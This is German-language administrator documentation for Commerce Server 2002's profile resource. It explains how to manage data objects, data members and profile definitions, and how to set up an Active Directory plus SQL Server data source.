Hinzufügen eines neuen Datenobjekts in der Profilressource

Mit der Profilressource fügen Sie Datenobjekte zu Datenquellen hinzu. Sie wählen die Tabelle in der Datenbank aus (bzw. die Klasse in der LDAP-Quelle), die die Spalte enthält, in der Sie die für eine Eigenschaft in einer Profildefinition gesammelten Daten speichern möchten.

Bevor Sie die Profilressource zum Erstellen eines Datenobjekts verwenden können, müssen Sie eine Datenquelle erstellen. Die Profilressource nimmt keine Änderungen an dem zugrunde liegenden Datenspeicher vor. Sie müssen etwaige Änderungen direkt in der Datenbank bzw. im LDAP-Speicher vornehmen. Außerdem müssen Sie ein Datenelement miteinbeziehen, das ein Primärschlüssel für das Datenobjekt ist.

So fügen Sie ein neues Datenobjekt hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, der Sie ein Datenobjekt hinzufügen möchten, klicken Sie mit der rechten Maustaste auf Datenobjekte, und klicken Sie anschließend auf Neues Datenobjekt.
  2. Nehmen Sie im Dialogfeld Neues Datenobjekt die folgenden Einstellungen vor:
    Option | Aktion
    Objektname Wählen Sie das Datenobjekt in der Dropdownliste aus. Dabei muss es sich um den Namen einer Tabelle oder einer LDAP-Klasse im zugrunde liegenden Datenspeicher handeln.

    Wichtig

    Bevor Sie ein neues Profil dieses Typs erstellen, müssen Sie ein Datenelement aufnehmen, das als Primärschlüssel für das Datenobjekt gilt, dem Profileigenschaften zugeordnet werden sollen.
    Angezeigter Name | Geben Sie den Namen ein, der für das Datenobjekt angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für das Datenobjekt ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf OK.

Das Datenobjekt wird gespeichert. Sie können ihm Datenelemente hinzufügen und es verwenden, um eine Profildefinition einer Datenbankspalte bzw. einer LDAP-Klasse zuzuordnen.

In der folgenden Tabelle sind die benutzerdefinierten Attribute für Datenquellenpartitionen aufgeführt.

Benutzerdefiniertes Attribut | Beschreibung | Werte
ConnectionCount | Gibt die Anzahl von Verbindungen im Pool für den Datenspeicher an. | Die Mindestanzahl von Verbindungen ist 2. Wenn dieses Attribut nicht definiert ist, wird der Standardwert (10) verwendet.
ConnectionRetryCount | Gibt die Anzahl der Wiederholungen bei einer fehlgeschlagenen SQL Server-Verbindung an. | Wenn dieses Attribut nicht definiert ist, wird der Standardwert (10) verwendet.
ConnectionRetryWait | Gibt die Wartezeit in Sekunden bis zum nächsten Versuch an. | Wenn dieses Attribut nicht definiert ist, wird der Standardwert (30 Sekunden) verwendet.

Siehe auch

Informationen zur Profilressource

Erstellen einer neuen Datenquelle in der Profilressource

Hinzufügen eines neuen Datenelements in der Profilressource

Verwalten von Datenquellen in Profilressourcen


Ändern eines Datenobjekts

Mit der Profilressource können Sie die folgenden Eigenschaften eines Datenobjekts ändern:

  • Angezeigter Name
  • Beschreibung

Wenn Sie den programmtechnischen Namen des Datenobjekts ändern möchten, müssen Sie das Datenobjekt löschen und dann mit dem geänderten programmtechnischen Namen neu erstellen.

So ändern Sie den angezeigten Namen und die Beschreibung eines Datenobjekts

So löschen Sie ein Datenobjekt

So ändern Sie den angezeigten Namen und die Beschreibung eines Datenobjekts

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, die das Datenobjekt enthält, das Sie ändern möchten, erweitern Sie Datenobjekte, klicken Sie mit der rechten Maustaste auf das Datenobjekt, das Sie ändern möchten, und klicken Sie anschließend auf Eigenschaften.
  2. Nehmen Sie im Dialogfeld Eigenschaften von <Datenobjekt> auf der Registerkarte Identität die folgenden Einstellungen vor:
    Option | Aktion
    Angezeigter Name | Bearbeiten Sie den Namen des Datenobjekts. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Beschreibung des Datenobjekts. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf OK.

Der angezeigte Name und die Beschreibung des Datenobjekts werden geändert.

Hinweis

  • Sie können den angezeigten Namen eines Datenobjekts ändern. Der programmtechnische Name eines Datenobjekts kann jedoch nicht geändert werden.

So löschen Sie ein Datenobjekt

Vorsicht

  • Wenn Sie ein Datenobjekt löschen, können Sie es nicht wiederherstellen.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, die das Datenobjekt enthält, das Sie löschen möchten, erweitern Sie Datenobjekte, klicken Sie mit der rechten Maustaste auf das Datenobjekt, das Sie löschen möchten, und klicken Sie anschließend auf Löschen.
  2. Klicken Sie im Bestätigungsdialogfeld Datenobjekt löschen? auf Ja.

Das Datenobjekt wird aus der Datenquelle gelöscht.


Hinzufügen eines neuen Datenelements in der Profilressource

Mit der Profilressource fügen Sie Datenelemente zu Datenobjekten hinzu, indem Sie in einer offen gelegten Tabelle der Datenbank die Spalte (bzw. in einer offen gelegten Klasse der LDAP-Quelle das Attribut) wählen, in der bzw. dem die für eine Eigenschaft in einer Profildefinition gesammelten Daten gespeichert werden sollen.

Wenn Sie eine Eigenschaft in einer Profildefinition definieren, ordnen Sie die Eigenschaft mit dem Datenelement der Spalte in der Datenbanktabelle (bzw. dem Attribut in der LDAP-Klasse) zu, die bzw. das sie offen legt. Wenn Benutzer Daten in eine Eigenschaft in einer Profildefinition in Ihrer Website eingeben, werden die von den Benutzern eingegebenen Daten in der vorgesehenen Datenbankspalte bzw. im vorgesehenen LDAP-Attribut gespeichert. Die Profilressource nimmt keine Änderungen an dem zugrunde liegenden Datenspeicher vor. Sie müssen etwaige Änderungen direkt in der Datenbank bzw. im LDAP-Speicher vornehmen. Stellen Sie zusätzlich sicher, dass ein Datenelement vorhanden ist, das ein Primärschlüssel ist.

Hinweis

  • Commerce Server 2002 unterstützt nur Unicode-Zeichenfolgen. Nicht-Unicode-Zeichenfolgen werden nicht unterstützt.

So fügen Sie ein Datenelement hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, die das Datenobjekt enthält, dem Sie ein Datenelement hinzufügen möchten, erweitern Sie Datenobjekte, klicken Sie mit der rechten Maustaste auf das Datenobjekt, dem Sie das Datenelement hinzufügen möchten, und klicken Sie anschließend auf Neues Datenelement.
  2. Nehmen Sie im Dialogfeld Neues Datenelement die folgenden Einstellungen vor:
    Option | Aktion
    Elementname Wählen Sie den Namen eines verfügbaren Datenelements in der Liste aus. Nicht verfügbare Datenelemente wurden bereits einem Datenobjekt hinzugefügt und werden abgeblendet dargestellt. Die Datenelemente in der Liste haben dieselben Namen wie die Spalten oder LDAP-Attribute im zugrunde liegenden Datenspeicher, denen sie zugeordnet sind.

    Zum Hinzufügen weiterer Datenelemente (oder wenn die Liste keine verfügbaren Datenelemente enthält) müssen Sie im zugrunde liegenden Datenspeicher eine neue Spalte bzw. ein neues Attribut erstellen. Der Elementname muss dem Namen der Spalte bzw. des Attributs entsprechen, der bzw. dem das Datenelement zugeordnet ist. Der Elementname kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Elementname darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der in der Anwendung für das Datenelement angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für das Datenelement ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Typ Geben Sie den Datentyp für das Datenelement ein. Der Datentyp muss der Eigenschaft entsprechen, die Sie dem Datenelement zuordnen möchten. Folgende Datentypen werden unterstützt:
    • Binärwert
    • Boolesch
    • Währung
    • Datum/Uhrzeit
    • Zahl
    • Zeichenfolge
    Mehrwertig | Wählen Sie diese Option aus, um das Sammeln von mehreren Werten zu ermöglichen, die mit dem Datenelement verknüpft sind.
    Erforderlich | Mit dieser Option legen Sie fest, dass diese Eigenschaft in der Website und in Commerce Server Business Desk erforderlich ist. Dieses Attribut wird jedoch von der Profilressource nicht erzwungen.
    Indiziert | Wählen Sie diese Option aus, wenn die Daten für dieses Datenelement indiziert werden sollen.
    Primärschlüssel Wählen Sie diese Option aus, um das Datenelement als Primärschlüssel einzurichten.

    Wichtig

    • Sie müssen in jedem Datenobjekt ein Datenelement als Primärschlüssel festlegen.
  3. Klicken Sie auf Hinzufügen. Das Datenelement wird in der Datenelementliste im Dialogfeld Neues Datenelement angezeigt.
  4. Klicken Sie auf Fertig stellen.

Das Datenelement wird im Datenelementfenster angezeigt.

Siehe auch

Informationen zur Profilressource

Konfigurieren der Profilressource

Hinzufügen einer neuen Profildefinition in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen

Verwalten von Datenquellen in Profilressourcen


Ändern eines Datenelements

Mit der Profilressource können Sie die folgenden Eigenschaften eines Datenelements ändern:

  • Angezeigter Name
  • Beschreibung

Um den programmtechnischen Namen des Datenelements zu ändern, müssen Sie das Datenelement löschen und dann mit dem geänderten programmtechnischen Namen neu erstellen.

So ändern Sie den angezeigten Namen und die Beschreibung eines Datenelements

So löschen Sie ein Datenelement

So ändern Sie den angezeigten Namen und die Beschreibung eines Datenelements

Hinweis

  • Sie können den angezeigten Namen eines Datenelements ändern. Der programmtechnische Name eines Datenelements kann jedoch nicht geändert werden.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, die das Datenobjekt mit dem Datenelement enthält, das Sie ändern möchten, erweitern Sie Datenobjekte, und klicken Sie dann auf das Datenobjekt mit dem Datenelement, das Sie ändern möchten.
  2. Klicken Sie in der Liste mit den Datenelementen mit der rechten Maustaste auf das Datenelement, das Sie ändern möchten, und klicken Sie dann auf Eigenschaften.
  3. Nehmen Sie im Dialogfeld Eigenschaften von <Datenelement> auf der Registerkarte Allgemein die folgenden Einstellungen vor:
    Option | Aktion
    Angezeigter Name | Bearbeiten Sie den Namen des Datenelements. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Bearbeiten Sie die Beschreibung des Datenelements. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  4. Klicken Sie auf OK.

So löschen Sie ein Datenelement

Vorsicht

  • Wenn Sie ein Datenelement löschen, können Sie es nicht wiederherstellen.
  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, die das Datenobjekt mit dem Datenelement enthält, das Sie löschen möchten, erweitern Sie Datenobjekte, und klicken Sie dann auf das Datenobjekt mit dem Datenelement, das Sie löschen möchten.
  2. Klicken Sie in der Liste mit den Datenelementen mit der rechten Maustaste auf das Datenelement, das Sie löschen möchten, und klicken Sie dann auf Löschen.
  3. Klicken Sie im Bestätigungsdialogfeld Datenelement löschen? auf Ja.

Das Datenelement wird aus der Datenquelle gelöscht.

Siehe auch

Informationen zur Profilressource

Erstellen einer neuen Datenquelle in der Profilressource

Hinzufügen eines neuen Datenobjekts in der Profilressource

Hinzufügen eines neuen Datenelements in der Profilressource

Erstellen einer Profildefinition mit zwei Datenquellen


Verwalten von Profildefinitionen in Profilressourcen

Mit der Profilressource können Sie den angezeigten Namen und die Beschreibung von Profildefinitionen ändern sowie Profildefinitionen benutzerdefinierte Attribute hinzufügen. Um eine neue Profildefinition zu erstellen, können Sie eine vorhandene Profildefinition kopieren und im Profil-Designer-Fenster den Namen und die Attribute der neuen Profildefinition ändern.

Beim Entpacken der leeren Lösungssite stellt Commerce Server 2002 mehrere Profildefinitionen zur Verfügung. Diese können Sie kopieren und anhand der Kopie neue Profildefinitionen erstellen, die an Ihre Bedürfnisse angepasst sind. Sie können auch Profildefinitionen löschen, die Ihren Anforderungen nicht mehr entsprechen, und Sie können benutzerdefinierte Attribute aus Profildefinitionen löschen. Wenn Sie ein benutzerdefiniertes Attribut löschen, können Sie es nicht wiederherstellen. Falls Sie ein benutzerdefiniertes Attribut versehentlich löschen, müssen Sie es neu erstellen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen einer Profildefinition in der Profilressource
  • Hinzufügen eines benutzerdefinierten Attributs zu einer Profildefinition
  • Überprüfen von Profildefinitionen in der Profilressource
  • Einbetten von Profildefinitionen in der Profilressource
  • Erstellen einer Profildefinition mit zwei Datenquellen

Siehe auch

Informationen zur Profilressource

Hinzufügen einer neuen Profildefinition in der Profilressource


Erstellen einer Profildefinition in der Profilressource

Mit der Profilressource erstellen Sie neue Profildefinitionen. Sie können z. B. vom Businessmanager gebeten werden, eine neue Profildefinition zu erstellen, um zusätzliche Daten in Ihrer Website und in Commerce Server Business Desk zur Verfügung zu stellen. Sie können eine Profildefinition erstellen, die automatisch einem Datenobjekt zugeordnet wird. Sie können auch eine Profildefinition erstellen, die nicht einem Datenobjekt zugeordnet wird. Mit Profildefinitionen definieren Sie die Daten, die Sie über die Benutzer sammeln, die Ihre Website besuchen.

Sie können benutzerdefinierte Attribute für Profildefinitionen erstellen. Sie können z. B. ein benutzerdefiniertes Attribut mit dem Namen defaultParentURL erstellen, das bestimmt, wo Profile im zugrunde liegenden LDAP-Speicher (Lightweight Directory Access Protocol) gespeichert werden. Informationen zum Hinzufügen benutzerdefinierter Attribute für eine Profildefinition finden Sie unter Hinzufügen eines benutzerdefinierten Attributs zu einer Profildefinition.

So fügen Sie eine neue Profildefinition hinzu, die einem Datenobjekt zugeordnet wird

So fügen Sie eine neue Profildefinition hinzu, die nicht einem Datenobjekt zugeordnet wird

So fügen Sie eine neue Profildefinition hinzu, die einem Datenobjekt zugeordnet wird

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog, Datenquellen und die Datenquelle, die das Datenobjekt enthält, dem Sie die neue Profildefinition zuordnen möchten, und erweitern Sie dann Datenobjekte.
  2. Klicken Sie mit der rechten Maustaste auf das Datenobjekt, dem die neue Profildefinition zugeordnet wird, und klicken Sie dann auf Neue Profildefinition.
    Wichtig
    • Zur korrekten Zuordnung muss für das zuzuordnende Datenobjekt ein Primärschlüssel-Datenelement vorhanden sein.
  3. Nehmen Sie im Dialogfeld Neue Profildefinition die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für die neue Profildefinition ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die neue Profildefinition angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die neue Profildefinition ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  4. Klicken Sie auf Weiter, um das Dialogfeld Benutzerdefinierte Attribute zu öffnen.
  5. Klicken Sie auf Fertig stellen, um das Dialogfeld zu schließen. Informationen zum Hinzufügen benutzerdefinierter Attribute zur Profildefinition finden Sie unter Hinzufügen eines benutzerdefinierten Attributs zu einer Profildefinition.

Die neue Profildefinition wird in Commerce Server-Manager in der Liste der verfügbaren Profildefinitionen angezeigt. Die neue Profildefinition enthält die Eigenschaften, die den Datenelementen des Datenobjekts zugeordnet sind, aus dem Sie die Profildefinition erstellt haben.

So fügen Sie eine Profildefinition hinzu, die nicht einem Datenobjekt zugeordnet wird

  1. Erweitern Sie nacheinander Commerce Server-Manager, Profile und Profilkatalog, klicken Sie dann mit der rechten Maustaste auf Profildefinitionen, und klicken Sie schließlich auf Neue Profildefinition.
  2. Nehmen Sie im Dialogfeld Neue Profildefinition die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für die neue Profildefinition ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für die neue Profildefinition angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die neue Profildefinition ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
  3. Klicken Sie auf Weiter, um das Dialogfeld Benutzerdefinierte Attribute zu öffnen.
  4. Klicken Sie auf Fertig stellen, um das Dialogfeld zu schließen. Informationen zum Hinzufügen benutzerdefinierter Attribute zur Profildefinition finden Sie unter Hinzufügen eines benutzerdefinierten Attributs zu einer Profildefinition.

Die neue Profildefinition wird in Commerce Server-Manager in der Liste der verfügbaren Profildefinitionen angezeigt.

Die neue Profildefinition enthält keine Eigenschaften und ist daher keiner Datenquelle zugeordnet. Sie müssen der neuen Profildefinition Eigenschaften hinzufügen. Informationen zum Hinzufügen von Eigenschaften zu einer Profildefinition finden Sie unter Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource.

Siehe auch

Informationen zur Profilressource

Erstellen einer neuen Datenquelle in der Profilressource

Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource

Hinzufügen von Sitebegriffen

Verwalten von Profildefinitionen

Hinzufügen eines benutzerdefinierten Attributs zu einer Profildefinition


Hinzufügen eines benutzerdefinierten Attributs zu einer Profildefinition

Mit der Profilressource fügen Sie benutzerdefinierte Attribute zu Ihren Profildefinitionen hinzu. Benutzerdefinierte Attribute von Profileigenschaften sind Platzhalter zum Speichern von anwendungsspezifischen Informationen. Sie können z. B. ein benutzerdefiniertes Attribut mit dem Namen defaultParentURL erstellen, das bestimmt, wo Profile im zugrunde liegenden LDAP-Speicher (Lightweight Directory Access Protocol) gespeichert werden. Diese Attribut/Wert-Paare müssen vom Typ Zeichenfolge sein. Benutzerdefinierte Attribute für Profildefinitionen stehen nur in der Profilressource zur Verfügung.

So fügen Sie Profildefinitionen benutzerdefinierte Attribute hinzu

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, klicken Sie mit der rechten Maustaste auf die Profildefinition, der Sie ein benutzerdefiniertes Attribut hinzufügen möchten, und klicken Sie anschließend auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Eigenschaften auf der Registerkarte Benutzerdefinierte Attribute auf Neu, um das Dialogfeld Benutzerdefiniertes Attribut anzeigen zu lassen.
  3. Nehmen Sie im Dialogfeld Benutzerdefiniertes Attribut die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie einen programmtechnischen Namen für das neue Attribut ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der für das Attribut angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für das Attribut ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Wert | Geben Sie den Wert ein, der dem Attribut zugewiesen werden soll.
  4. Klicken Sie auf OK.
  5. Klicken Sie auf OK, um zu Commerce Server-Manager zurückzukehren.

Die Profildefinition wird mit dem neuen benutzerdefinierten Attribut gespeichert.

In der folgenden Tabelle sind die benutzerdefinierten Attribute der Profildefinition aufgeführt.

Benutzerdefiniertes Attribut | Beschreibung | Werte
DefaultParentURL | Gibt an, an welcher Stelle Profile im zugrunde liegenden LDAP-Speicher (Lightweight Directory Access Protocol) gespeichert werden. | Der URL.
DWClassName | Gibt den Namen des Objekts (in diesem Fall eine Tabelle) im Data Warehouse an, in das Daten vom Profil exportiert werden sollen. Wenn die Klasse (Tabelle) im Data Warehouse nicht vorhanden ist, wird sie durch den DTS-Task erstellt. | Der Name der Tabelle im Data Warehouse.

Siehe auch

Informationen zur Profilressource

Erstellen einer neuen Datenquelle in der Profilressource

Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource

Verwalten von Profildefinitionen


Überprüfen von Profildefinitionen in der Profilressource

Mit der Profilressource können Sie überprüfen, ob die zum Zuordnen der Profildefinitionen verwendeten Datenelemente gültig sind. Durch das Überprüfen der Profildefinitionen stellen Sie sicher, dass die mit den Definitionen in der Website gesammelten Daten in vorhandenen Datenbankspalten bzw. LDAP-Attributen gespeichert werden.

Hinweis

  • Die Überprüfungsroutinen versuchen für jede Eigenschaft in der Profildefinition, Daten zu schreiben und diese Daten anschließend zu lesen. Die Überprüfungsroutinen sind nicht von ggf. im zugrunde liegenden Datenspeicher vorhandenen Beschränkungen betroffen. Diese Routinen versuchen daher möglicherweise, Daten zu schreiben, die eine Beschränkung verletzen. In diesem Fall wird eine Überprüfungswarnmeldung angezeigt. Stellen Sie anhand der in der Warnmeldung enthaltenen Beschreibungen fest, ob das Profil gültig ist.

So überprüfen Sie eine Profildefinition

So überprüfen Sie alle Profildefinitionen in einer Site

So überprüfen Sie eine Profildefinition

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, klicken Sie mit der rechten Maustaste auf die Profildefinition, die Sie überprüfen möchten, und klicken Sie dann auf Dieses Profil überprüfen.

    Wenn die Profildefinition gültig ist, wird das Dialogfeld Gültiges Profil angezeigt. Klicken Sie auf OK.

    Wenn die Profildefinition ungültig ist, wird das Dialogfeld Ungültiges Profil angezeigt.

  2. Um den Überprüfungsvorgang fortzusetzen, klicken Sie auf Ja und dann auf OK, um das Dialogfeld Ungültiges Profil zu schließen.

    Um den Überprüfungsvorgang zu beenden, klicken Sie auf Nein und dann auf OK, um das Dialogfeld Ungültiges Profil zu schließen.

So überprüfen Sie alle Profildefinitionen in einer Site

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile und Profilkatalog, und klicken Sie dann mit der rechten Maustaste auf Profildefinitionen.
  2. Klicken Sie auf Alle Profile überprüfen.

    Wenn alle Profildefinitionen gültig sind, wird das Dialogfeld Gültiges Profil angezeigt. Klicken Sie auf OK.

    Wenn eine Profildefinition ungültig ist, wird das Dialogfeld Ungültiges Profil angezeigt.

  3. Um den Überprüfungsvorgang fortzusetzen (und die ungültige Profildefinition zu überspringen), klicken Sie auf Ja und dann auf OK, um das Dialogfeld Ungültiges Profil zu schließen.

    Zum Beenden des Überprüfungsvorgang klicken Sie auf Nein und dann auf OK. Daraufhin wird das Dialogfeld Ungültiges Profil geschlossen.

Siehe auch

Erstellen einer neuen Profildefinition in der Profilressource

Hinzufügen eines neuen Datenelements in der Profilressource

Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource

Verwalten von Profildefinitionen in Profilressourcen

Verwalten von Profileigenschaften in Profilressourcen


Einbetten von Profildefinitionen in der Profilressource

Mit der Profilressource können Sie Profile verknüpfen. Mithilfe verknüpfter Profile können Sie miteinander in Beziehung stehende Daten mit unterschiedlichen Profildefinitionen erfassen. Wenn Sie beispielsweise die Profildefinition Adresse mit der Profildefinition Benutzerobjekt verknüpfen, können Sie Adressdaten für jeden Benutzer erfassen. Sie können diesen Vorgang auch durchführen, indem Sie das Modul "Profildefinitions-Designer" in Commerce Server Business Desk verwenden. Informationen zum Einbetten der Profildefinitionen Adresse und Benutzerobjekt finden Sie unter Eingebettete Profildefinitionen.

Sie können der Profildefinition Benutzerobjekt z. B. drei Eigenschaften hinzufügen und diese zum Verweisen auf drei Instanzen der Profildefinition Adresse verwenden (Rechnungs-, Liefer- und Privatadresse). Dadurch können Sie die Profildefinition Adresse zum Sammeln von Benutzeradresseninformationen in Ihrer Website verwenden, während der Name des Adressenprofils für den Benutzer im Benutzerprofil gespeichert wird. Auf diese Weise können Sie die Daten in den Profilen in Ihrer Website und in Berichten zusammen präsentieren.

So betten Sie eine Profildefinition ein

  1. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, Profile, Profilkatalog und Profildefinitionen, und klicken Sie dann auf die Profildefinition, der Sie eine Profildefinition hinzufügen möchten.
  2. Erweitern Sie im Profil-Designer-Fenster in der Liste Eigenschaften die Eigenschaftsgruppe, der Sie die neue Eigenschaft hinzufügen möchten, und klicken Sie auf Hinzufügen.
  3. Wählen Sie im Dialogfeld Hinzufügen – Webseite die Option Neue Eigenschaft hinzufügen aus, und klicken Sie dann auf OK.
  4. Nehmen Sie im Profil-Designer-Fenster im Abschnitt Attribute die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie den programmtechnischen Namen der Eigenschaft ein. Der Name kann bis zu 127 alphanumerische Zeichen sowie Unterstriche (_) enthalten. Der Name darf keine Leerzeichen enthalten.
    Angezeigter Name | Geben Sie den Namen ein, der in Business Desk angezeigt werden soll. Der angezeigte Name kann aus maximal 127 Unicode-Zeichen bestehen.
    Beschreibung | Geben Sie eine Beschreibung für die Eigenschaft ein. Die Beschreibung kann aus maximal 127 Unicode-Zeichen bestehen.
    Typ | Wählen Sie in der Dropdownliste Typ den Eintrag Profil aus.
    Typverweis | Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...], um das Dialogfeld Profilauswahl zu öffnen. Erweitern Sie Profilkatalog in der Liste Ein Profil auswählen, und wählen Sie dann die Profildefinition aus, die Sie der Eigenschaft hinzufügen möchten.
  5. Klicken Sie auf OK und anschließend auf Übernehmen.

    Die Profildefinition wird der Eigenschaft zugewiesen.

  6. Klicken Sie zum Speichern der Profildefinition auf der Symbolleiste auf Speichern.

Die Profildefinition wird einschließlich der Eigenschaftsänderung gespeichert.

Siehe auch

Profildefinitionen

Hinzufügen von Eigenschaften zu Profildefinitionen in der Profilressource

Erstellen von Sitebegriffen in der Profilressource

Profiling System Objects (englisches Thema)

Profile Schema (englisches Thema)


Erstellen einer Profildefinition mit zwei Datenquellen

In diesem Abschnitt wird erläutert, wie Sie eine Benutzerprofildefinition erstellen können, die Daten sowohl in einer SQL Server-Datenbank als auch in einer Active Directory-Datenbank speichert. Dieses Szenario erklärt nur den Vorgang. Das tatsächlich beschriebene Profil ist nicht zur Verwendung geeignet. Sie sollten Ihre Profildefinitionen basierend auf Ihren Unternehmensanforderungen entwerfen.

Hinweis

  • Ihre Commerce Server 2002 Active Directory-Domänencontroller müssen vor Ausführung der folgenden Schritte installiert und konfiguriert werden. Informationen zur Vorbereitung auf Active Directory finden Sie unter Planen der Integration von Active Directory.

Zum Erstellen einer Profildefinition mit zwei Datenquellen führen Sie folgende Schritte aus:

  • Schritt 1: Erstellen der Datenquelle "Profildienst_ADQuelle"
  • Schritt 2: Hinzufügen von Active Directory-Benutzerobjekten
  • Schritt 3: Hinzufügen von Datenelementen zum Active Directory-Benutzerobjekt
  • Schritt 4: Erstellen der Active Directory-SQL Server-Benutzerprofildefinition
  • Schritt 5: Hinzufügen von Eigenschaftsgruppen zum Active Directory-SQL Server-Benutzer
  • Schritt 6: Hinzufügen von SQL Server-Eigenschaften zum Active Directory-SQL Server-Benutzer

Schritt 1: Erstellen der Datenquelle "Profildienst_ADQuelle"

  1. Erweitern Sie auf dem SQL Server/Commerce Server-Computer nacheinander Commerce Server-Manager, Globale Ressourcen, Profile und Profilkatalog, klicken Sie mit der rechten Maustaste auf Datenquellen, und klicken Sie dann auf Neue Datenquelle.
  2. Nehmen Sie im Dialogfeld Neue Datenquelle die folgenden Einstellungen vor:
    Option | Aktion
    Name | Geben Sie UPM_ADQuelle_Test ein.
    Angezeigter Name | Geben Sie Profildienst_ADQuelle_Test ein.
    Beschreibung | Geben Sie Active Directory-Datenquelle ein.
  3. Klicken Sie auf Weiter.
  4. Wählen Sie im Dialogfeld Datenquelle in der Dropdownliste Quellentyp den Eintrag LDAPv3-kompatible Quelle aus, und klicken Sie auf Weiter.
  5. Stellen Sie im Dialogfeld Partitionen sicher, dass das Kontrollkästchen Partitionierte Datenquelle nicht aktiviert ist, und klicken Sie anschließend auf Hinzufügen.
  6. Klicken Sie im Dialogfeld Partition auf Bearbeiten.
  7. Nehmen Sie im Dialogfeld LDAP-Verbindungszeichenfolge die folgenden Einstellungen vor:
    Option | Aktion
    Server | Geben Sie den Namen des Active Directory-Domänencontrollers ein. In diesem Beispiel lautet der Name MSCS01.
    Port | Lassen Sie dieses Feld leer (es sei denn, Sie verwenden einen anderen Wert als 389).
  8. Klicken Sie auf OK.

    Stellen Sie im Dialogfeld Partition sicher, dass das Kontrollkästchen Standardpartition nicht aktiviert ist.

  9. Nehmen Sie im Dialogfeld Partition die folgenden Einstellungen vor:
    Option | Aktion
    Benutzername | Geben Sie Ihre Microsoft Windows-Domäne und den Benutzernamen für die Active Directory-Domäne ein. Nehmen Sie die Eingabe im Format domäne\benutzername vor.
    Kennwort | Geben Sie Ihr Kennwort für die Windows-Domäne ein.
  10. Klicken Sie auf Weiter.
  11. Nehmen Sie im Dialogfeld Systemattribute die folgenden Einstellungen vor:
    Option | Aktion
    Übergeordneter URL | Geben Sie den Speicherort auf dem Active Directory-Server ein, an dem Ihre Active Directory-Daten im Verhältnis zum Stammverzeichnis gespeichert werden sollen.
    Domänenname | Geben Sie den Domänennamen des Active Directory-Servers ein.
Hinweis
  • Nehmen Sie keine Änderungen an den Standardeinstellungen der anderen Optionen im Dialogfeld vor. Eine Ausnahme stellt die gegebenenfalls zu verwendende Option Dieselben Informationen für alle Benutzer verwenden dar. Durch diese Option wird die Profilressource gezwungen, die von Ihnen in Schritt 7 eingegebenen Informationen bei jeder Kommunikation mit dem Active Directory-Server zu verwenden. Wenn Sie diese Option nicht wählen, verwendet die Profilressource die Informationen des Prozesses, in dem sie momentan ausgeführt wird.
  1. Klicken Sie auf Weiter.
  2. Klicken Sie im Dialogfeld Benutzerdefinierte Attribute auf Fertig stellen.
  3. Klicken Sie im Dialogfeld Partitionen auf Fertig stellen.

Die Partition Profildienst_ADQuelle wird in Commerce Server-Manager als neuer Knoten unter Datenquellen angezeigt.

